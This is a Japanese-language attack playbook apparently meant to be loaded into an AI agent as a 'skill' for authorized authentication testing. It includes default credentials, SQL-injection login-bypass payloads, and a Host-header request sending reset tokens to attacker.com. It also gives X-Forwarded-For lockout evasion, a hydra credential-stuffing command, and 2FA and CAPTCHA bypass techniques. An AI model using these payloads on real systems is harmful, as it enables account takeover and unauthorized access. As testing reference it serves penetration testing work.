SKILL: 認証バイパス — エキスパート攻撃プレイブック

AI LOAD INSTRUCTION: エキスパート認証バイパス技法。SQLインジェクションベースのログインバイパス、パスワードリセット欠陥、トークン予測可能性、アカウント列挙、ブルートフォースバイパス、多要素認証バイパスをカバーします。JWT/OAuth（../jwt-oauth-token-attacks/SKILL.md でカバー）とは異なります。ログインメカニズム自体に焦点を当てます。

0. 認可済み認証情報テスト計画

ルーティングエントリの削減、デフォルト認証情報、ユーザー名変種、ポートフォーカス、ワードリストサイジングは、ここの1つの場所で処理されます。

サービス別最小セット

サービスタイプ	最初のユーザー名	最初のパスワード
phpMyAdmin	root, admin	空、root, phpmyadmin, admin
FTP	ftp, admin, test	空、ftp, admin, 123456
SSH	root, admin, サービスアカウント名	root, admin, 季節的な変種
MySQL	root, mysql	空、root, mysql
Tomcat / Java管理	tomcat, admin, manager	tomcat, admin, s3cret
WebLogic	weblogic, admin	weblogic, welcome1, admin

ユーザー名クラス

クラス	例
汎用管理者	admin, administrator, root, test, guest
サポート / 運用	dev, ops, sysadmin, service, backup
名前ベース	firstname, lastname, f.lastname, first.last
メール派生	コーポレートメールフォーマットの左側
プロダクトベース	tomcat, weblogic, jenkins, gitlab

ワードリストサイジングとポートフォーカス

シナリオ	推奨サイズ	理由
デフォルト管理パネル	5～50パスワード	ここではデフォルトが大型リストを上回る
既知プロダクトを持つ内部サービス	ベンダー固有の小セット	汎用リストより信号が良い
弱い制御を持つコンシューマーログイン	トップ20またはトップ100	高速検証
レート制限されたログイン	小リスト + ヘッダー/ローテーション戦略	試行を保持
オフラインハッシュクラッキング	大規模辞書	オンラインブルートフォースルールは適用されない

一般的なポートとサービス表面を優先してください：80/443/8080/8443管理パネル、22 SSH、21 FTP、3306/5432/6379/27017データまたは管理サービス。

---

1. SQLインジェクションログインバイパス

クラシックだが、レガシーシステム、カスタムORM、生クエリコードで今も見られます：

-- 基本的なバイパス（最初の行に admin ユーザーと仮定）:
Username: admin'--
Password: anything
→ クエリ: SELECT * FROM users WHERE user='admin'--' AND pass='anything'

-- 汎用バイパス（DBの最初のユーザーとしてログイン）:
Username: ' OR '1'='1'--
Password: anything
→ クエリ: SELECT * FROM users WHERE user='' OR '1'='1'--' AND pass='anything'

-- ブラインド: これは機能しますか?
Username: ' OR 1=1--
Username: admin' OR 'a'='a
Username: 1' OR '1'='1'/*
Username: 1 or 1=1

各フィールドを個別にテストしてください — 脆弱なのは1つのフィールドのみかもしれません。

---

2. パスワードリセット脆弱性

推測可能 / 予測可能なリセットトークン

リセットトークンが以下に基づいているかどうかを確認します：

- タイムスタンプ: token=1691234567890 (Unix時間)
- シーケンシャル: token=1001, 1002, 1003
- MD5(email): echo -n "user@example.com" | md5sum
- MD5(username+timestamp): 可逆的
- 短いトークン (4-6桁): ブルートフォース可能

テスト: 3つの連続したリセットメールをリクエストし、トークンパターンを比較します。

リセットトークンが期限切れにならない

1. パスワードリセットをリクエスト → メール経由でトークンを取得
2. 48時間以上待つ（トークンは期限切れになるはず）
3. 古いトークンを使用 → 機能しますか?

リセットトークンの再利用

1. リセットをリクエスト → トークン T1 を取得
2. T1 でリセットを完了
3. T1 を再度使用 → 再び機能しますか?

リセットメール内のホストヘッダーインジェクション

アプリケーションが Host ヘッダーを使用してリセットURLを生成する場合：

POST /forgot-password HTTP/1.1
Host: attacker.com           ← 攻撃者のドメインをインジェクト
Content-Type: application/x-www-form-urlencoded

email=victim@target.com

→ リセットメールが被害者に送信され、attacker.com/reset?token=VICTIM_TOKEN をポイント → 被害者がクリック → トークンが攻撃者に捕捉される

テスト: 変更された Host: でパスワードリセットを送信し、リセットリンクがどこをポイントしているかメールで確認します。

パスワードリセットトークンが Referer に含まれる

1. リセットをリクエスト → トークン付きのリセットURLに進む
2. リセットページが第三者リソース（分析、フォント）を読み込む
→ Referer ヘッダーがリークする: https://target.com/reset?token=TOKEN
→ 第三者のサーバーがログからトークンを受け取る

現在のパスワードなしでのパスワード変更

PUT /api/user/password
{"new_password": "hacked"}
→ current_password フィールドは不要ですか?
→ CSRF と組み合わせてアカウント乗っ取り

---

3. アカウント列挙

有効なユーザー名/メールの特定は、標的を絞った攻撃を可能にします：

エラーメッセージの違い

無効なユーザー名 → "ユーザーが見つかりません"
有効なユーザー名、間違ったパス → "パスワードが正しくありません"
→ 有効なアカウントを列挙

レスポンス時間の違い

無効なユーザー名 → 高速レスポンス（DB参照なし）
有効なユーザー名 → わずかに遅い（DB参照 + ハッシュ比較）
→ タイミングオラクル

パスワードリセットフロー

POST /forgot-password {"email": "nonexistent@example.com"}
→ "このメールが存在する場合、リセットリンクを送信しました" (適切)
vs.
→ "このメールは登録されていません" (列挙可能)

登録エンドポイント

POST /register {"email": "victim@example.com"}
→ "メールはすでに登録されています" → アカウントが存在することを確認
vs.
→ "確認メールを送信しました" 両方の場合 → 列挙なし

---

4. ブルートフォースバイパス

N回の試行後にロックアウト、その後リセット

10回の試行でロックアウト → 9つの間違ったパスワードを試す → ロック
リセット期間を待つ（通常30分または1時間）
→ 9つ以上を試す → 繰り返す → 永続的なロックアウトなし

IPベースのロックアウトバイパス

X-Forwarded-For: 1.1.1.1       ← リクエストごとに変更
X-Real-IP: 2.2.2.2
ヘッダーのIP全体をローテーション

ユーザー名サイクリング vs パスワードサイクリング

通常のブルートフォース: 1人のユーザーに対して多くのパスワードを試す → ロック
リバースブルートフォース: 多くのユーザーに対して1つのパスワードを試す
→ すべてのユーザーに対して "password123" を試す → 弱いパスワードを持つユーザーを見つける
→ 単一のアカウントがロックされない

認証情報スタッフィング

HaveIBeenPwned データセットから流出した認証情報を標的に対して使用：

# ツール: Hydra, Burp Intruder, カスタムスクリプト
hydra -C credentials.txt https-post-form://target.com/login:"username=^USER^&password=^PASS^":"error message"

---

5. 多要素認証バイパス

2FA完了前のセッションクッキー

フロー: ログイン（パスワード正しい）→ 2FAページへリダイレクト → コード入力
攻撃: パスワードステップ後、セッションクッキーが設定されているが2FAはまだチェックされていない。
→ セッションクッキーを使用して /dashboard に直接アクセス
→ 2FAページ全体をスキップ

2FAコードのブルートフォース

4-6桁のTOTPコード = 最大1,000,000の可能性
2FAステップにロックアウトがない場合:
→ すべてのコードをブルートフォース（ツール: Burp Intruder、シーケンシャル）
→ TOTP ウィンドウ: 30秒のウィンドウ、一部は前/次のウィンドウを受け入れる

ログインではなくクリティカルアクションで2FA

ログインは2FAを要求せず、しかし:
DELETE /account または POST /transfer は2FAを要求
攻撃: これらのアクションで2FAが検査されているか、それともログインでのみですか?
→ ログインのみの場合: 一度ログイン → 2FAの検証が必要なアクションなし

2FAバックアップコード悪用

バックアップコードを生成（通常8～10個ワンタイム）
テスト:
→ バックアップコードはレート制限されていますか?
→ バックアップコードを複数回使用できますか?
→ 短いコード（6～8文字）? レート制限がない場合、ブルートフォース

2FAコードの再利用

TOTPコードは1回の使用で有効
→ 同じTOTPコードを2回使用 → 2回目の使用は機能しますか?
→ サーバーが使用されたコードを追跡しない場合、リプレイ攻撃

---

6. OAuth / SSO アカウント乗っ取りパターン

メールクレームトラスト

1. 攻撃者が制御するOAuthプロバイダーにアカウントを作成
2. メールクレームを設定 = victim@target.com
3. そのプロバイダー経由でリンク/ログイン
→ サーバーが検証なしにメールクレームを信頼する場合 → アカウントマージ/乗っ取り

SSOリンク後にパスワードが適用されない

1. ユーザーが Google SSO をリンク
2. ユーザーがパスワードを忘れる（SSOのみ後にアカウントにパスワードセットがない）
3. "パスワード忘れ" フロー → SSOのみのアカウントのパスワードもリセットされますか?
→ パスワードを設定できる → SSOをバイパス → 直接ログイン

---

7. ユーザー名 / パスワードフィールド操作

長いパスワードDoS → バイパス

一部のアプリはデータベースに送信する前にパスワードをハッシュします。
bcrypt には72バイトの制限があります — 72バイト以上の入力は無視されます。
攻撃:
→ パスワード "A"*100 で登録
→ パスワード "A"*72 でログイン → 同じハッシュ → 機能
→ "A"*71 + "totally different" でログイン → 切り詰めの場合 → 最初の72文字が一致すれば同じハッシュ

ユーザー名のヌルバイト

username=admin%00 vs username=admin
→ 一部の文字列比較ではヌルバイト切り詰め
→ "admin\0attacker" = "admin" （C文字列比較）

Unicode 正規化

ユーザー名: "ⓢcott" → "scott" に正規化 → "scott" を偽装
ユーザー名: "admin" （文字a,d,m,i,nの様々なUnicodeホモグラフ）

---

8. セッション管理欠陥

ログアウト時にセッションが無効化されない

1. ログイン → セッションクッキーをキャプチャ
2. ログアウト
3. キャプチャしたセッションクッキーを再生 → まだ有効ですか?
→ セッションがサーバー側で無効化されない

権限変更時にセッションが再生成されない

1. 低権限としてログイン → セッションクッキーを取得
2. 管理者があなたのロールをアップグレード
3. 古いセッションクッキーが管理者アクセスを持つようになりますか?
→ セッションが再生成されない → 古いトークンが新しい権限を継承

予測可能なセッショントークン

トークン: base64(userid+timestamp) → 可逆的
トークン: シーケンシャル整数 → セッションID = your_session_id -/+ 小さな数字
トークン: 短いランダム（32ビットエントロピー） → ブルートフォース可能

---

9. 認証テストチェックリスト

□ ログインフィールドでSQLインジェクションを試す (' OR 1=1--)
□ パスワードリセットをテスト: トークンを予測、ホストヘッダーインジェクション、Referer漏洩
□ エラーメッセージ / タイミング経由のアカウント列挙をテスト
□ 2FAをチェック: ステップをスキップ（直接URL）、コードをブルートフォース、コードを再利用
□ ブルートフォース保護をテスト: X-Forwarded-Forバイパス、リバースブルート
□ ログアウト時のセッション無効化をチェック
□ 権限変更後のセッション再生成をチェック
□ 現在のパスワード要求なしでのパスワード変更をテスト
□ 長いパスワード（bcrypt 72バイト切り詰め）をテスト
□ OAuth/SSO: メールクレーム信頼をテスト、SSOの後のパスワード設定
□ remember_me トークンをチェック: どのくらい長く、取り消し可能か、予測可能か?

---

10. パスワードリセット攻撃マトリックス (22パターン)

#	パターン	説明
1	予測可能なリセットトークン	トークンはタイムスタンプ、ユーザーID、またはシーケンシャル番号に基づいている
2	ユーザーに結合されていないトークン	ユーザーAのために生成されたトークンを使用してユーザーBをリセット
3	レスポンスボディ内のトークン	リセットトークンがHTTPレスポンスで返される（メールだけでなく）
4	URLパラメータ内のトークン	リセットリンクトークンが外部リソースへのRefererヘッダーで表示される
5	トークンの有効期限なし	トークンは無期限に有効なままである
6	トークン再利用	同じトークンが複数回機能する
7	短い/ブルートフォース可能なトークン	レート制限なしの4～6桁の数値コード
8	ホストヘッダー経由のパスワードリセット	Host: attacker.com → リセットリンクが攻撃者のドメイン付きで送信される
9	登録が既存アカウントを上書き	同じメールで登録 → パスワードを上書き
10	ステップスキップ（フロントエンドのみ）	URLを通じて "新しいパスワードを設定" ステップに直接ジャンプ
11	レスポンス操作	{"status":"fail"} を {"status":"success"} に変更（プロキシ）
12	レスポンス内の検証コード	SMS/メールコードがAPIレスポンスで返される
13	並行セッションリセット	AのリセットをBのセッションで完了開始
14	メール/電話パラメータ汚染	email=victim@x.com&email=attacker@x.com
15	Unicode 正規化	admin@target.com vs ADMIN@target.com vs Unicode混同可能
16	リセット内のSQLインジェクション	メールフィールドはリセットクエリで注入可能
17	リセットエンドポイントでのIDOR	リセット確認リクエストのユーザーIDを変更
18	クロスプロトコルリセット	モバイルAPIはウェブと同じトークンを検証しない
19	デフォルトセキュリティの質問	推測可能な答え、レート制限なし
20	トークン生成競合状態	複数の同時リクエストが同じトークンを生成
21	ログアウトはリセットを無効化しない	パスワード変更後、古いセッションは仍有効
22	リセットリンクがCDN/プロキシにキャッシュされる	公開キャッシュがトークン付きのリセットリンクを保存

---

11. CAPTCHA/検証バイパスパターン (20メソッド)

#	メソッド	方法
1	captchaパラメータを削除	リクエストからcaptchaフィールドを削除
2	空のcaptchaを送信	captcha= または captcha=null
3	前のcaptchaを再利用	同じcaptcha値が複数回機能
4	Captchaはセッションに結合されていない	セッションAで解決されたcaptchaをセッションBで使用
5	サーバー側の検証がない	Captchaはクライアント側のみでチェック
6	レスポンス操作	インターセプトしてレスポンスを変更してバイパス
7	リクエストメソッドを変更	POST→GET またはその逆はcaptchaチェックをスキップする可能性
8	JSONコンテンツタイプ	フォームからJSONに切り替え — captchaハンドラーが処理しない可能性
9	OCRバイパス	単純なcaptchasはtesseract/MLで解決可能
10	音声captcha弱さ	音声は通常ビジュアルよりも簡単
11	SMSコードがレスポンスに含まれる	検証コードがAPIレスポンスボディで返される
12	SMSコード予測可能	シーケンシャルまたは時間ベースのコード
13	コード検証にレート制限なし	4～6桁のコードをブルートフォース
14	コードが電話/メールに結合されていない	電話Aに送信されたコードをアカウントBで使用
15	コード有効期限なし	古いコードが有効なままである
16	電話番号のヌルバイト	+1234567890%00 重複排除をバイパスするが同じ番号に配信
17	大文字小文字の区別	メール: Admin@X.com vs admin@x.com
18	識別子のスペース/エンコーディング	user@x.com vs user@x.com (末尾スペース)
19	同時リクエスト	レースコンディション: captchaが読み込まれる前に確認を送信
20	第三者captchaバイパス	設定が不十分なreCAPTCHAサイトキーはすべてのドメインを許可

---

12. 不安全なランダム性 — トークン予測

UUID v1 (時間ベース — 予測可能!)

UUID v1 形式: タイムスタンプ-clock_seq-ノード(MAC)
# MACアドレスは他のエンドポイント経由でリークすることが多い
# タイムスタンプは1582-10-15 以降の100nsの間隔
# ツール: guidtool （既知のタイムスタンプ範囲から可能なUUIDを再構築）

MongoDB ObjectId

ObjectId = 4バイトタイムスタンプ + 5バイトランダム + 3バイトカウンター
# 最初の4バイト = Unix タイムスタンプ → 作成時刻がリーク
# カウンターはシーケンシャル → 隣接するObjectIdsは予測可能
# 1つのObjectIdを知っている場合、近くのものは計算可能

PHP uniqid()

uniqid() = hex(microtime)
// 出力: 5f3e7a4c1d2b3
// 現在のマイクロ秒タイムスタンプに完全に基づいている
// サーバーの概算時刻を知っている場合、予測可能

PHP mt_rand() 回復

# mt_rand() はMersenne Twister PRNGを使用
# 約624の出力を観察した後、完全な内部状態は回復可能
# ツール: openwall/php_mt_seed
# 既知の出力をフィード → シードを回復 → すべての将来の値を予測

ツール

• guidtool — UUID v1 再構築
• AethliosIK/reset-tolkien — パスワードリセット用自動トークン予測
• openwall/php_mt_seed — PHP mt_rand シード回復
• sandwich — トークンタイムスタンプ分析